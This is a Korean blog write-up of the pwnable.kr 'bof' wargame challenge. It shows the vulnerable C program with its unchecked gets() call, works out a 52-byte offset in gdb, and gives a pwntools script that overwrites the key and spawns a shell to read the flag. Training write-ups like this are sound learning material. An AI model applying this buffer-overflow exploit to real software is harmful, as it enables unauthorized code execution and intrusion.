Security/System
[pwnable.kr] Toddler's Bottle - bof 문제
bonggang
2019. 9. 10. 21:43
문제
- nc: netcat의 줄임말, TCP/UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓸 수 잇는 가벼운 유틸리티
문제풀이
- 우선 문제에 제시된 파일들을 다운 받고 시작하자.
wget http://pwnable.kr/bin/bof.c
wget http://pwnable.kr/bin/bof
- cat bof.c를 통해 코드를 살펴보자.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
- system("/bin/sh")의 조건, 즉 쉘을 띄워주는 명령 조건: key==0xcafebabe
- gdb를 이용해서 코드를 분석해보자.
- <+40> cmp DWORD PTR[ebp+0x8], 0xcafebabe 부분이 if(key==0xcafebabe) 라는 것은 어셈블리를 잘 모르는 사람들도 추측할 수 있을 것이다.
=> key가 [ebp+0x8]인 것을 알 수 있다.
- call이 2번 나오는데 첫 번째 call이 printf, 두 번째 call이 gets인 것도 추측이 가능할 것이다.
=> overflowme[32]의 시작 주소가 [ebp-0x2c]임을 추측 가능
- 지금부터 사용할 방법은 buffer overflow.
=> ebp+0x8과 ebp-0x2c의 거리를 십진수로 변환한 52byte만큼의 데이터를 overflowme에 넣어준다면 key 값을 건드릴 수 있을 것이다.
실행 화면
이상하게 나는 왜 안될까? 뭔가 오타가 난 것 같긴한데 이유를 모르겠다...
ls를 입력해주지 않았다,,, cat flag도,,,;;
pwntools를 사용해서 script를 써버렸다.
다행이 이건 된다.
작성한 스크립트는 다음과 같다.
from pwn import *
r = remote("pwnable.kr", 9000)
payload = "D"*52 + "\xbe\xba\xfe\xca"
r.sendline(payload)
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
그럼 지금부터 오타 찾으러 가야겠다...ㅎㅎㅎ